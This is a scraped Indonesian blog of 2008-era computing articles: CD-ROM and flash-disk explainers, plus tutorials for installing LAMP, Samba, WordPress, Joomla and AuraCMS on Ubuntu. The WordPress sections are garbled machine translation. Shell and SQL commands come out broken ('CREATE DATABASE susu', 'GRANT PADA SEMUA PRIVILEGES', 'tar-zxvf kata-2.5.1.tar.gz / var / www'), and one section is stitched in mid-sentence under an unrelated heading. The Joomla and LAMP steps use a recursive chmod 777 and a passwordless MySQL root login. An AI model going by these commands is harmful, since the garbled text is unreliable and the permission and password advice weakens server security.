CD-ROM secara pisik mempunyai bentuk seperti halnya CD audio dan merupakan suatu hasil pengembangan teknologi baru pada tahun 1983, serta bisa digunakan sebagai tempat untuk menyimpan data dengan kapasitas tinggi. CD ROM secara umum dapat menyimpan data hingga 600 MB, tetapi kini banyak dipasarkan hingga ukuran gigabite. Harga CD ROM relative murah apabila dibanding dengan disket ataupun hard disk.


Dengan kapasitas yang begitu besar, maka daya tampung sebuah CD-ROM pada saat ini, bisa disamakan dengan sekitar 430 disket yang berukuran 1.4 MB. Walapun demikian, harga sebuah CD-ROM saat ini, hampir sama dengan harga disket biasa.
2-3w Untuk menggunakan CD ROM didalam komputer, diperlukan adanya card tambahan, CD ROM Drive, memory diatas 4 MB, serta beberapa persyaratan lainnya dari hardware maupun software komputer.
2-3x Untuk melakukan penyimpanan data, CD ROM menggunakan panas sinar laser yang akan membakar metalic film melalui sebuah lubang khusus. Lubang inilah yang menyajikan data dalam bentuk binary. Dikarenakan hal tersebut, data yang sudah tertulis diatas CD ROM belum bisa untuk diperbaiki/diganti baru.
2-3y Dengan demikian, pada awalnya para pengguna hanya bisa membaca untuk kemudian dipindahkan kedalam hard-disk. Ini sesuai dengan namanya, yaitu Compact Disk Read Only Memory. Program-program komputer yang ada pada saat ini, banyak disimpan didalam CD ROM.
2-3z Kini banyak beredar CD dengan kemampuan Read and Write, dalam arti kata bisa digunakan untuk menulis dan membaca secara berulang-ulang seperti halnya sebuah disket. Sony CRX75A merupakan salah satu CD yang mempunyai kemampuan tersebut. CRX75A mempunyai kemampuan membaca 8x lebih cepat jika disbanding CD biasa dan 4x lebih cepat untuk kemampuan menulis.
2-3aa Jenis lain adalah TDK Veldoc 16/9/40. TDK memang merupakan produsen yang baru muncul dalam beberapa tahun ini. Namun tidak berarti teknologi yang ditawarkan merupakan pemula, hal ini bisa dilihat pada produknya yang mempunyai banyak kemampuan, CD-R mempunyai kecepatan membaca 16x, sedang CD-RW mempunyai kecepatan menulis 9x dan membaca 40x

Hewlett Packard yang merupakan salah satu produsen CDRW tertua didunia, kini memproduksi HP Surestore. Salah satu produk terbarunya adalah Surestore 990 dengan kecepatan pembacaan 8x dan 4x tulis. Walaupun nampak lambat, CDRW dari HP ini juga dilengkapi dengan labeling kit dan software perekam.
2-3ac Jenis lain dari CD ROM adalah optical disk yang secara phisik mempunyai bentuk seperti halnya laser disk Karena harganya relatip mahal, optical disk ini menjadi tidak popular bagi para pengguna komputer.


Read More..

Media Penyimpanan Pada PC

MENGENAL FLASH DISK

USB Flash Drive atau yang lebih dikenal dengan UFD atau flash disk merupakan sebuah periperal komputer yang populer pada sekarang ini. Flash disk sendiri sejatinya adalah sebuah alat penyimpanan data berbasis flash memory yang diintegrasikan dengan USB (Universal Serial Bus) konektor. Flash disk pada umumnya berbentuk kecil dan ringan. Sehingga mudah untuk dibawa kemana-mana (bersifat portabel) dan memiliki kemampuan penyimpanan data yang cukup besar (mulai dari 8 mb hingga 16 gb). Selain itu, flash disk juga telah didukung oleh banyak sistem operasi (windows, linux, macintosh, dsb) dan tidak perlu di install (komputer akan dengan sendirinya menginstal sebuah driver flash disk – hal ini berlaku untuk sistem operasi modern). Hal ini membuat flash disk menjadi media penyimpanan portabel yang paling banyak digunakan oleh pengguna komputer.



Inti dari teknologi flash disk ialah penggunaan flash memory. Flash memory sendiri merupakan pengembangan dari teknologi EPROM (yang kemudian dikembangkan menjadi EEPROMS – yang sekarang lebih dikenal tempat penyimpanan bios kmputer). Flash memory sendiri dirancang sebagai sebuah memori yang bisa menyimpan data, data yang disimpan bisa dihapus dan data ditulis kembali dengan mudah. Hal ini membuat flash disk hampir sama dengan hard disk atau floppy disk (sebagai media penyimpanan yang bisa ditulis berulang kali). namun jika hard disk atau floppy disk menggunakan sebuah alat mekanik (berbentuk jarum) untuk membaca dan menulis data, maka flash disk menggunakan sebuah kontroler (berbentuk chip) yang bertugas untuk menulis dan membaca data pada flash memory. Hal ini juga yang membuat flash disk bentuknya bisa kecil dan ringan.

Sebagai alat yang berbasis teknologi flash memory, flash disk memiliki sebuah “waktu hidup” yang terbilang tidak lama. Pada umumnya sebuah flash disk hanya bisa digunakan sebanyak 50000 hingga 150000 kali saja (dalam hal ini penggunaan baik membaca maupun menulis data).

Flashdisk Pertama

Ada beberapa perusahaan yang mengklaim sebagai pembuat flash disk pertama. Trek, merupakan perusahaan yang pertama menjual flash disk pada tahun 2000. Trek menamakan flash disk tersebut Thumbdrive.
Sebuah perusahaan, M-systems, juga telah bekerja mengembangkan flash disk sejak tahun 1998. mereka mempopulerkan flash disk dengan merk disk on key. Sebuah perusahaan teknologi, Lexar, juga mengklaim sebagai pionir dalam pembuatan flash disk. Pada sekarang ini ada banyak pengembang flash disk seperti sandisk, kingston, umax, nexus, dsb.
Flash disk pertama menggunakan teknologi USB 1.1. teknologi USB 1.1 menjanjikan transfer data sebesar 12 Mbps. sekarang, sebuah flash disk sudah mendukung teknologi USB 2.0 yang menjanjikan transfer data sebesar 480 Mbps. akan tetapi, dikarenakan adanya batasan pada teknolog flash memory, nilai transfer sebenarnya dari sebuah flash disk jauh daripada spesifikasi yang ditawarkan.


Kegunaan Flash disk.

Kegunaan flash disk tentu saja sebagai media penyimpanan data yang bersifat portabel (mudah dibawa kemana-mana). Adapun kegunaan khusus flash disk antara lain:

1. sebagai media penyimpanan data pribadi

2. sebagai alat untuk mem-boot komputer

3. pada windows vista, flash disk bisa digunakan sebgaia tambahan untuk memori sistem

4. sebagai pemutar musik portabel (MP3 player)

5. sebagai alat bantu untuk para system administrator dan teknisi komputer

Read More..

Senin, 27 Oktober 2008

Instalasi LAMP Di Ubuntu

Instalasi LAMP di Ubuntu

LAMP, adalah kependekan dari Linux+Apache+MySQL+PHP, merupakan sebuah paket perangkat lunak untuk menjalankan web site dynamic dan sebagai sebuah web server. LAMP ini terdiri dari beberapa komponen yang kesemuanya termasuk ke dalam keluarga open source. Yaitu Linux sebagai sistem operasinya, Apache sebagai web servernya, MySQL sebagai databasenya, dan PHP sebagai bahasa pemrogramannya.

Dalam penerapannya, LAMP tidak dalam satu bendel, artinya tiap komponen itu terpisah. Jadi berdiri sendiri-sendiri. Baik linux, apache, mysql dan php-nya berdiri sendiri. Jadi keempatnya diinstall secara terpisah, setelah terinstall barulah dikonfigurasi supaya dapat berjalan beriringan. Walaupun ada yang sudah dalam satu bendel, jadi apache, mysql dan php (minus linux) sudah dalam satu paket, tinggal menginstall satu paket sudah terkonfigurasi semuanya.

Banyak distribusi linux sekarang sudah menyertakan paket LAMP, jadi dengan menginstall distro linux tersebut, semua paket sudah terinstall, tanpa perlu mengkonfigurasi lagi. Namun ada juga yang belum terinstall. Jadi terpaksa apache, mysql dan php-nya diinstall secara manual.

Di dalam pendistribusiannya, apache, mysql dan php terdiri dalam beberapa macam paket. Ada yang dalam versi sourcenya (tar.gz/tar.bz2), ada yang dalam versi rpm (untuk distribusi linux keluarga red hat), tgz (untuk distro keluarga slackware), deb (untuk distro keluarga debian), dll. Kali ini akan dibahas cara menginstall baik apache, mysql, dan php ke dalam distro ubuntu, dan menggunakan versi deb-nya. Adapun langkah-langkahnya sebagai berikut :

Pertama pastikan ubuntu telah terinstall dengan baik dan benar (hehe …).
Install apache http server sudo apt-get install apache2
Install php untuk server apache sudo apt-get install php5
Install mysql server database sudo apt-get install mysql-server
Install mysql untuk apache server sudo apt-get install libapache2-mod-auth-mysql
sudo apt-get install php5-mysql
sudo apt-get install phpmyadmin (optional)
Nah, setelah proses penginstallan selesai, sekarang masuk ke tahap pengecekkan, apakah sudah terinstall dengan benar atau belum. Untuk pengecekannya adalah sebagai berikut.

Restart server apache terlebih dahulusudo /etc/init.d/apache2 restart
Cek servis apache melalui browser, ketikkan alamat berikut http://localhostBila sudah terbuka sebuah halaman maka penginstallan apache sudah benar
Cek servis php apakah sudah terintegrasi dengan benar atau belum. Caranya adalah dengan membuat sembarang file php di folder /var/www/. Listing programnya adalah :phpinfo();
?>

Setelah di save, silahkan dibuka di browser. Jika di browser sudah tertampilkan data-data tentang php maka servis php sudah berjalan.

Cek servis mysql apakah sudah terintegrasi dengan php atau belum. Caranya buat sembarang file php di /var/www/. Listing programnya adalah :

$connect=mysql_connect(”localhost”,”root”,””);
if($connect){
echo “sukses”;
}else{
echo “gagal”;
}
?>

Setelah di save, kemudian buka di browser. Jika tampil tulisan sukses maka php dan mysql sudah terintegrasi dengan benar. Jika muncul tulisan gagal, maka php dan mysql belum terintegrasi dengan benar.

Cek phpmyadmin (optional) apakah sudah berjalan atau belum. Buka alamat berikut di browser :http://localhost/phpmyadmin
Masukkan root untuk user, sedangkan password tidak perlu di isi, karena default penginstallan password mysql belum di set, jadi tidak perlu password. Jika berhasil login maka phpmyadmin sudah terinstall dengan benar.

Read More..

Instalasi Samba Pada Ubuntu

1. Pengenalan
SMB (Server Message Block), adalah protokol untuk sharing file dimana menggunakan nama komputer dan tipe numerik untuk membuat nama dari NetBIOS (Network Basic Input/Ouput System).

2. Instalasi Samba
Download paket samba dari http://www.samba.org, lalu compile dengan smbmount, tentukan dimana akan menyimpan manual direktori $MANPATH. Keadaan awal file smb.conf berada di /usr/local/samba/lib/
dan file password di /usr/local/samba/private/ .

$ cd samba-2.2.3a/source
$ ./configure –with-smbmount –mandir=/usr/man
$ make
# make install
$ cd ../..
3. Konfigurasi Samba

Beberapa bagian konfigurasi yang perlu di perhatikan,

log level = 1

file log diperlukan untuk memantau koneksi apa saja yang terjadi, juga bila terjadi gangguan dapat dengan mudah menganalisa. Para developer biasanya lebih suka menggunakan log level = 10.

log file = /var/adm/samba/service-%S.log
log file = /var/adm/samba/user-%u.log
log file = /var/adm/samba/machine-%m.log

interfaces = 192.168.0.0/16 127.0.0.1
bind interfaces only = Yes

Hal ini dilakukan agar samba hanya melayani dalam lingkup localnet saja, hal ini sangat mengurangi resiko keamanan jika host anda memiliki IP Public di internet.

encrypt passwords = Yes

Untuk klien yang menggunakan sistem operasi windows terlebih dahulu di setting lagi agar dapat menggunakan enkripsi password.

password level = 8
username level = 8

Nilai 8 untuk memastikan jika uppercase dan lowercase untuk username dan password tidak menjadi masalah.

log file = /var/log/samba/%m.log
debug level = 1

Simpan file log dalam direktori tertentu. Selalu jalankan debug pada level 1 jika anda ingin mengetahui apa yang sedang terjadi pada samba, level 3 diperlukan jika anda ingin mengetahui informasi yang lebih lengkap, dan level 10 diperlukan jika anda seorang developer samba. Variabel %m digunakan untuk nama komputer dari mesin klien.

time server = Yes

Sinkronisasi waktu untuk klien.

socket options = TCP_NODELAY IPTOS_LOWDELAY SO_KEEPALIVE SO_RCVBUF=4096 SO_SNDBUF=8192

Optimisasi soket. Buatlah suatu file misalnya “dd if=/dev/zero of=testfile count=1024 bs=1024″, kemudian disable program antivirus, restart samba, lalu ambil fie tersebut dan copy kan ke server, berapa lama waktu yang dibutuhkan (SO RCVBUF). Restart samba kemudian copy kembali file tersebut ke workstation, waktu yang dihasilkan merupakan (SO_SNDBUFF).

logon script = %G.bat
domain logons = Yes
os level = 40
lm announce = False
dns proxy = No
wins support = Yes
invalid users = root @wheel
hide unreadable = Yes
hide files = /example.txt/*.bad/
veto files = /*.exe/*.com/*.vbs/*.chm/riched20.dll/*.{*}/lost+found/
veto oplock files = /*.mdb/*.MDB/

[homes]
comment = “%S Home Directory”
username = %S
writable = yes
create mask = 0600
directory mask = 0700
only user = Yes
browseable = No

[sample]
path = /example/sample1
valid users = +usergroup
force group = +usergroup
writable = yes
create mask = 0660
directory mask = 0770

[netlogon]
path = /example/netlogon
admin users = sam
write list = sam

Read More..

Instalasi LAMP Di Ubuntu

Hal-hal yang diperlukan untuk instalasi

You need access to your site and its directory and software to proceed with the installation. Anda memerlukan akses ke situs Anda dan direktori dan perangkat lunak untuk melanjutkan dengan instalasi, antara lain :

selalu. Lihat beberapa kemungkinan DB_HOST nilai).
DB_CHARSET DB_CHARSET
The database character set, normally should not be changed. Database set karakter, biasanya tidak boleh diubah. See Editing wp-config.php for details. Lihat Edit wp-config.php untuk rincian.
DB_COLLATE DB_COLLATE
The database collation should normally be left blank. Database pemeriksaan harus biasanya akan dibiarkan kosong. See Editing wp-config.php for details. Lihat Edit wp-config.php untuk rincian.

3. Save the file. Menyimpan file.

* For more extensive details, and step by step instructions for creating the configuration file, refer to Editing wp-config.php . Untuk rincian lebih luas, dan petunjuk langkah demi langkah untuk menciptakan file konfigurasi, lihat Edit wp-config.php.

For information on enabling SSL in WordPress 2.6, see SSL and Cookies in WordPress 2.6 . Untuk informasi mengenai cara mengaktifkan SSL di WordPress 2.6, lihat SSL dan Cookie di WordPress 2.6.
Step 4: Upload the files Langkah 4: Upload file

Now you will need to decide where on your web site you'd like your blog to appear: Sekarang anda perlu memutuskan di mana pada situs web Anda Anda ingin blog Anda untuk muncul:

* In the root directory of your web site. Dalam root direktori situs web Anda. (For example, http://example.com/ ) (Misalnya, http://example.com/)
* In a subdirectory of your web site. Dalam sebuah subdirektori dari situs web Anda. (For example, http://example.com/blog/ ) (Misalnya, http://example.com/blog/)

Note: The location of your root web directory in the filesystem on your web server will vary across hosting providers and operating systems. Catatan: Lokasi Anda di direktori web root filesystem pada server Web Anda akan berbeda-beda di seluruh penyedia layanan hosting dan sistem operasi. Check with your hosting provider or system administrator if you do not know where this is. Periksa dengan hosting selular atau administrator sistem jika anda tidak tahu di mana ini.
In the Root Directory Dalam root direktori

* If you need to upload your files to your web server, use your favorite FTP client to upload all the contents of the wordpress directory (but not the directory itself) into the root directory of your web site. Jika Anda perlu meng-upload file ke web server, favorit Anda menggunakan FTP klien untuk meng-upload semua isi dari direktori wordpress (tetapi tidak direktori itu sendiri) ke dalam direktori root dari situs web Anda.
* If your files are already on your web server, and you are using shell access to install WordPress, move all of the contents of the wordpress directory (but not the directory itself) into the root directory of your web site. Jika file Anda sudah berada pada server Web Anda, dan Anda menggunakan shell akses untuk memasang WordPress, memindahkan seluruh isi dari direktori wordpress (tetapi tidak direktori itu sendiri) ke dalam direktori root dari situs web Anda.

In a Subdirectory Dalam sebuah subdirektori

* If you need to upload your files to your web server, rename the wordpress directory to your desired name, then use your favorite FTP client to upload the directory to your desired location within the root directory of your web site. Jika Anda perlu meng-upload file ke web server Anda, mengubah nama susu dan direktori dengan nama yang anda inginkan, kemudian favorit Anda menggunakan FTP klien untuk meng-upload direktori ke lokasi yang Anda inginkan dalam root direktori situs web Anda.
* If your files are already on your web server, and you are using shell access to install WordPress, move the wordpress directory to your desired location within the root directory of your web site, and rename the directory to your desired name. Jika file Anda sudah berada pada server Web Anda, dan Anda menggunakan shell akses untuk memasang WordPress, susu dan memindahkan direktori ke lokasi yang Anda inginkan dalam root direktori situs web Anda, dan mengubah nama direktori dengan nama yang anda inginkan.

Step 5: Run the Install Script Langkah 5: Jalankan Install Naskah

Point your favorite web browser to start the installation script. Point web browser favorit Anda untuk memulai instalasi script.

* If you placed the WordPress files in the root directory, you should visit: http://example.com/wp-admin/install.php Jika Anda menempatkan file WordPress di root direktori, Anda harus mengunjungi: http://example.com/wp-admin/install.php
* If you placed the WordPress files in a subdirectory called blog , for example, you should visit: http://example.com/blog/wp-admin/install.php Jika Anda menempatkan file WordPress di sebuah subdirektori yang bernama blog, misalnya, Anda harus mengunjungi: http://example.com/blog/wp-admin/install.php

The following screenshots show how the installation progresses. Berikut screenshot menunjukkan bagaimana instalasi berlangsung. Notice in the screen, Entering the details, you enter your Weblog title and your e-mail address. Pemberitahuan di layar, Memasuki rincian, Anda memasukkan Weblog judul dan alamat e-mail Anda. Also displayed is a check-box asking if you would like your blog to appear in search engines like Google and Technorati. Juga ditampilkan adalah kotak menanyakan apakah Anda ingin blog Anda untuk muncul di mesin pencari seperti Google dan Technorati. Leave the box checked if you would like your blog to be visible to everyone, including search engines, and uncheck the box if you want to block search engines, but allow normal visitors. Biarkan kotak dicentang jika Anda ingin blog Anda akan terlihat untuk semua orang, termasuk mesin pencari, dan matikan kotak jika Anda ingin blok mesin pencari, tetapi membolehkan pengunjung biasa. Note all this information can be changed later in your Administration Panels . Catatan semua informasi ini dapat berubah nanti di Administrasi Panel.

Version 2.3 Versi 2,3
WordPress Versi 2,3, Memasuki rincian
WordPress Version 2.3, Entering details WordPress Versi 2,3, Memasuki rincian
WordPress Versi 2,3, Semua dilakukan!
WordPress Version 2.3, All done! WordPress Versi 2,3, Semua dilakukan!
Install Script Troubleshooting Instal script mengatasi masalah

* If you get an error about the database when you run the install script: Jika Anda mendapatkan error tentang database ketika anda menjalankan instalasi script:
o Go back to Step 2 and Step 3 , and be sure you got all the correct database information and that it was entered correctly into wp-config.php . Kembali ke Langkah 2 dan Langkah 3, dan pastikan Anda mendapatkan semua informasi yang benar dan database yang telah dimasukkan dengan benar ke dalam wp-config.php.
o Be sure you granted your WordPress user permission to access your WordPress database in Step 3 . Pastikan Anda memberikan Anda Wordpress izin pengguna untuk mengakses database di WordPress Langkah 3.
o Be sure the database server is running. Pastikan database server berjalan.

Common Installation Problems Masalah umum instalasi

The following are some of the most common installation problems. Berikut ini adalah beberapa yang paling umum masalah instalasi. For more information and troubleshooting for problems with your WordPress installation, check out FAQ Installation and FAQ Troubleshooting . Untuk informasi lebih lanjut dan untuk mengatasi masalah dengan masalah instalasi WordPress Anda, periksa FAQ Instalasi dan FAQ masalah.

I see lots of Headers already sent errors. Saya melihat banyak sekali judul sudah dikirim kesalahan. How do I fix this? Bagaimana cara memperbaikinya?
You probably introduced a syntax error in editing wp-config.php . Anda mungkin memperkenalkan sintaks kesalahan dalam mengedit wp-config.php.

1. Download wp-config.php (if you don't have shell access). Download wp-config.php (jika Anda tidak memiliki shell akses).
2. Open it in your favorite text editor . Buka favorit Anda dalam editor teks.
3. Check that the first line contains nothing but 4. Check that the last line contains nothing but ?> , and that there is no text after it (not even whitespace). Pastikan baris terakhir berisi hanya?>, Dan bahwa tidak ada teks setelah itu (bahkan tidak spasi).
5. If your text editor saves as Unicode, make sure it adds no byte order mark (BOM) . Jika Anda menyimpan sebagai editor teks Unicode, memastikan agar tidak menambah urutan byte tandai (BOM). Most Unicode-enabled text editors do not inform the user whether it adds a BOM to files; if so, try using a different text editor. Kebanyakan Unicode-enabled teks editor tidak menginformasikan pengguna apakah BOM untuk menambahkan sebuah file, jika demikian, coba gunakan editor teks yang berbeda.
6. Save the file, upload it again if necessary, and reload the page in your browser. Simpan file, meng-upload lagi jika diperlukan, dan mengambil kembali halaman dalam browser Anda.

My page comes out gibberish. Saya keluar halaman cara bicara. When I look at the source I see a lot of " " tags. Ketika saya melihat sumber saya lihat banyak "" Tag.
If the tags are being sent to the browser, it means your PHP is not working properly. Jika Tag sedang dikirim ke browser, berarti Anda PHP tidak berfungsi sebagaimana mestinya. All PHP code is supposed to be executed before the server sends the resulting HTML to your web browser. Semua adalah kode PHP yang harus dijalankan sebelum server akan mengirimkan hasil HTML ke web browser Anda. (That's why it's called a pre processor.) Make sure your web server meets the requirements to run WordPress, that PHP is installed and configured properly, or contact your hosting provider or system administrator for assistance. (Oleh sebab itulah disebut pra prosesor.) Pastikan Anda web server memenuhi persyaratan untuk menjalankan WordPress, PHP yang terinstal dan dikonfigurasi dengan benar, atau hubungi hosting selular atau sistem administrator Anda untuk bantuan.

I keep getting an Error connecting to database message but I'm sure my configuration is correct. Saya tetap memperoleh Kesalahan koneksi ke database pesan tetapi saya yakin saya konfigurasi sudah benar.
Try resetting your MySQL password manually. Coba ulang MySQL sandi Anda secara manual. If you have access to MySQL via shell, try issuing: Jika Anda memiliki akses ke MySQL melalui shell, coba penerbitan:

SET PASSWORD FOR ' wordpressusername '@' hostname ' = OLD_PASSWORD(' password '); SET SANDI UNTUK 'wordpressusername' @ 'hostname' = OLD_PASSWORD ( 'password');

If you are using a version of MySQL prior to 4.1, use PASSWORD instead of OLD_PASSWORD . Jika Anda menggunakan versi MySQL sebelum ke 4.1, menggunakan SANDI bukan OLD_PASSWORD. If you do not have shell access, you should be able to simply enter the above into an SQL query in phpMyAdmin. Jika Anda tidak memiliki akses shell, Anda harus dapat cukup masukkan ke dalam SQL di atas permintaan pada phpMyAdmin. Failing that, you may need to use your host's control panel to reset the password for your database user. Kegagalan itu, Anda mungkin harus menggunakan host panel kontrol untuk me-reset password untuk pengguna database anda.

My image/MP3 uploads aren't working. Upload image/MP3 saya tidak bekerja.
If you use the Rich Text Editor on a blog that's installed in a subdirectory, and drag a newly uploaded image into the editor field, the image may vanish a couple seconds later. Jika Anda menggunakan Rich Text Editor pada sebuah blog yang diinstal pada sebuah subdirektori, dan tarik baru-upload foto ke dalam editor lapangan, gambar mungkin lenyap beberapa detik kemudian. This is due to a problem with TinyMCE (the rich text editor) not getting enough information during the drag operation to construct the path to the image or other file correctly. Hal ini disebabkan oleh masalah dengan TinyMCE (editor teks kaya) tidak cukup mendapatkan informasi selama operasi tarik untuk membangun path ke gambar atau file lain dengan benar. The solution is to NOT drag uploaded images into the editor. Solusinya adalah dengan TIDAK tarik-upload foto ke dalam editor. Instead, click and hold on the image and select "Send to Editor." Sebaliknya, terus klik pada gambar dan pilih "Kirim ke Editor."

Read More..

Rabu, 22 Oktober 2008

TUTORIAL INSTALASI WORDPRESS DI UBUNTU

Hal ini sebenarnya mungkin untuk memasang berfungsi penuh versi WordPress pada desktop PC yang menjalankan Ubuntu 8,04 Hardy Heron. Jelas, ini membuat pengendara lingkungan untuk pengujian dan eksperimen; Anda dapat men-tweak dengan WordPress mengungsi ke konten dan tidak khawatir tentang rendering utama blog Anda yg tdk dpt dibedah. Jika Anda perlu menjalankan sebuah blog internal perusahaan dari beberapa jenis, hosting Wordpress di Ubuntu atau kotak mesin virtual yang lebih murah dibandingkan solusi lebih mahal atau blog kolaborasi perangkat lunak. Atau, jika Anda benar-benar ambisius (dan kamu mampu membayar bandwidth), Anda dapat host internet yang dapat diakses WordPress blog Anda dari apartemen.

(Jika Anda menggunakan Ubuntu 7,10 Feisty fawn, saya melihat panduan untuk menginstal WordPress pada 7,10 di sini.)

Mari kita mulai!

Pertama, instal Ubuntu ke dalam mesin pilihan. Saya menggunakan VMWare mesin virtual untuk tes ini, berjalan di VMWare Player, siap untuk menggunakan 512 MB RAM dan satu prosesor inti. Jangan lupa untuk memperbarui sepenuhnya sebelum memasang Ubuntu (Sistem pergi ke menu, kemudian ke Administrasi, dan pilih Update Manager). Setelah Ubuntu adalah sepenuhnya diperbarui, Anda perlu memasang lima buah perangkat lunak: server web Apache, MySQL database server, PHP versi 5, MySQL modul untuk PHP, dan akhirnya perangkat lunak WordPress itu sendiri.

Pertama, membuka jendela Terminal (Aplikasi, Aksesoris, Terminal), dan ketik perintah berikut (Terminal dicatat bahwa semua perintah yang akan ditampilkan dalam huruf tebal di sini, dan bahwa semua perintah Terminal adalah kasus-sensitif):

sudo apt-get install apache2

Ikuti menginstal Apache. Setelah instalasi selesai, anda dapat tes yang Apache bekerja dengan membuka Firefox dan navigasi ke http://127.0.0.1. Jika berhasil, Anda akan melihat sesuatu seperti ini:

Selanjutnya, Anda perlu menginstal MySQL. Kembali ke Terminal dan ketik perintah ini:

sudo apt-get install mysql-server-5,0

Selama instalasi Anda akan akan diminta untuk memberikan password untuk root MySQL. Pastikan untuk memilih password yang kuat (kombinasi dari huruf kecil, tanda baca, dan huruf kapital huruf), sejak root memiliki akses penuh ke semua tabel pada semua database. Untuk alasan jelas, Anda akan ingin ingat password ini, karena kami tidak perlu lagi dalam langkah-langkah berikut.

Selanjutnya, instal versi PHP 5:

sudo apt-get install php5

Instal MySQL modul untuk PHP:

sudo apt-get install php5-mysql

Akhirnya, WordPress men-download perangkat lunak untuk Desktop. Anda dapat mendapatkannya dari alamat ini:

http://wordpress.org/latest.tar.gz

Sekarang yang kami dan kami di-download perangkat lunak diinstal, kita harus mengkonfigurasinya.

Pertama, Anda mungkin perlu menambahkan baris ke / etc/apache2/apache2.conf file. Saya telah membaca yang berbeda tentang hal ini; beberapa orang klaim tersebut tidak diperlukan. Saya telah ditemukan di pengujian yang saya sendiri Wordpress tidak akan berfungsi dengan baik tanpa itu, sejak Apache tidak benar interpretasikan PHP halaman lain. Untuk mengedit apache2.conf, gunakan perintah berikut:

sudo gedit / etc/apache2/apache2.conf

(Ingat, dimana ide untuk setiap sistem cadangan sebelum mengedit file konfigurasi tersebut. Anda dapat melakukannya dengan cepat dengan menggunakan sudo cp / etc/apache2/apache2.conf ~ / Desktop untuk menyimpan salinan ke Desktop Anda. Anda dapat kursus menggunakan vi atau emacs atau editor pilihan Anda, namun sebagian besar pengguna baru tampaknya lebih suka gedit's GUI.)

Setelah anda berada di gedit, tambahkan baris berikut pada akhir berkas:

AddType application / x-httpd-php. Html

Simpan berkas dan keluar dari gedit.

Sekarang kita harus mempersiapkan diri untuk MySQL dengan menggunakan WordPress. Pertama, Anda akan perlu menjalankan perintah untuk memulai MySQL:

sudo mysql_install_db

Setelah ini selesai, login ke MySQL-klien baris perintah:

mysql-u root-p

Masukkan password root MySQL dari atas, dan Anda akan menemukan sendiri di MySQL> tanya klien lokal. Pertama, membuat database untuk WordPress untuk menggunakan:

CREATE DATABASE susu;

(Catatan semua perintah yang dimasukkan dalam MySQL klien lokal harus diakhiri dengan titik koma untuk menunjukkan akhir pernyataan tersebut.)

Setelah database dibuat, Anda perlu membuat database pengguna untuk menggunakan WordPress. Walaupun masih di MySQL command line client, jenis ini:

CREATE USER wordpressuser;

Kemudian membuat sandi untuk pengguna baru Anda (catatan bahwa password Anda benar-benar akan pergi dalam tanda kutip, dan kasus-sensitif):

SET SANDI UNTUK wordpressuser = PASSWORD ( "password");

Sekarang bahwa Anda Anda WordPress database dan WordPress database pengguna Anda, Anda akan perlu untuk memberikan izin semua pengguna pada database (lagi, sandi masuk dalam tanda kutip, dan kasus sensitif):

GRANT PADA SEMUA PRIVILEGES .* susu KE wordpressuser @ localhost IDENTIFIED BY 'password';

(Ingat, ini berbeda dari Ubuntu 7,10 setup; Ubuntu 8,04 memerlukan '@ localhost' akan ditambahkan setelah nama pengguna.)

Kemudian, ketik keluar untuk keluar dari MySQL lokal client.Now baris perintah MySQL yang kami telah disiapkan, sekarang kami benar-benar dapat memasang WordPress. Dari Terminal jendela, lanjutkan ke arsip Anda di-download WordPress (mungkin pada Desktop) dan menggunakan perintah ini:

sudo tar-zxvf kata-2.5.1.tar.gz / var / www

(Perhatikan bahwa nama file mungkin akan mengubah WordPress adalah sebagai ditingkatkan dengan nomor versi yang berbeda.)

Ini akan membuka file di WordPress ke dalam direktori yang disebut kaya dalam Apache direktori www. (Jelas, tergantung bagaimana Anda perlu mengkonfigurasi Apache, Anda dapat menempatkan file WordPress di lokasi yang berbeda.) Sekarang yang unpacked file-file tersebut, Anda perlu mengkonfigurasi WordPress untuk berbicara dengan database MySQL. Untuk melakukannya, Anda harus membuat file wp-config.php di direktori WordPress. Untungnya, WordPress termasuk berguna wp-config-sample.php Anda dapat digunakan sebagai template.

Jenis ini perintah (Anda anggap Wordpress diinstal di www / susu dan direktori):

sudo gedit / var / www / wordpress / wp-config-sample.php

Setelah itu, perubahan nilai berikut (ini asumsi Anda menggunakan nama database default dan password yang tercantum di atas):

Ubah putyourdbnamehere untuk susu.

Ubah usernamehere untuk wordpressuser.

Yourpassword di sini untuk mengubah sandi Anda dipilih dalam GRANT PADA SEMUA susu .* KE wordpressuser IDENTIFIED BY 'password'; perintah.

Setelah anda sudah memiliki perubahan yang dibuat (setelah dua kali memeriksa ejaan, tentunya), Anda berubah menyimpan file ke / var / www / susu sebagai wp-config.php.

Semuanya sekarang harus siap. Membuka web browser, dan arahkan ke http://127.0.0.1/wordpress. Jika anda semua dikonfigurasi dengan benar, Anda harus disambut oleh WordPress konfigurasi halaman. Ikuti, dan Anda akan memiliki fungsional WordPress blog diinstal pada Ubuntu Desktop mesin. Selamat!

Satu catatan akhir: jika anda mengkonfigurasi blog Anda dari browser lokal, mungkin akan menetapkan alamat blog Anda sebagai http://127.0.0.1/wordpress. Hal ini berlaku jika Anda hanya ingin melihatnya dari host mesin, tetapi jika Anda ingin melihatnya melalui jaringan, Anda perlu mengubahnya. Untungnya, Anda dapat melakukannya dengan cepat dengan pergi Pilihan di WordPress admin antarmuka, dan kemudian ke Umum, dan mengganti URL blog.

Read More..

Selasa, 21 Oktober 2008

INSTAL JOOMLA DI UBUNTU 7.10

Diarsipkan di bawah: tutorial — 69i69 @ 4:36 am
1. instalasi LAMP
system > administration > sypnatic package manajer > edit > mark packages by task… > tandai LAMP server > ok > apply
berhasil install LAMP
2. masuk ke terminal
ubuntu@ubuntu:~$ su
Password:
root@ubuntu:/home/ubuntu# cd /var/www
root@ubuntu:/var/www# mkdir backtrack
root@ubuntu:/home/ubuntu/Desktop# tar -xzvf Joomla_1.5.2-Stable-Full_Package.tar.gz -C /var/www/backtrack
root@ubuntu:/var/www# chmod 777 -R backtrack
berhasil instalasi joomla 1.5.2 di ubuntu 7.10
buka browser (MFF): http://localhost/backtrack/installation/index.php


3. instalasi joomla
1 : Language
2 : Pre-installation Check
3 : License
4 : Database
5 : FTP Configuration
6 : Configuration
7 : Finish
4. di terminal
root@ubuntu:/var/www# cd backtrack
root@ubuntu:/var/www/backtrack# rm -r installation/
selamat mencoba, KKS (Koreksi Kalau Salah) = CMIIW

Read More..

Tutorial Instalasi Auracms

Instalasi AuraCMS

Langkah-langkah instalasi:

1. Extract file ZIP yang di download ke folder / directory yang baru
2. Edit file config.php,
ganti parameter yang ada dengan parameter Anda punya seperti :
host, database, username, password untuk MySQL server
3. Set up table dan data di MySQL database Anda
Dump auracms15.sql dengan PHPMyAdmin atau MySQLFront
4. Untuk mengganti tampilan situs, edit default theme yang di set di
config.php, pada themes/… directory/folder
buka header.php & footer.php, lakukan perubahan seperlunya


5. Upload file ke webhosting.
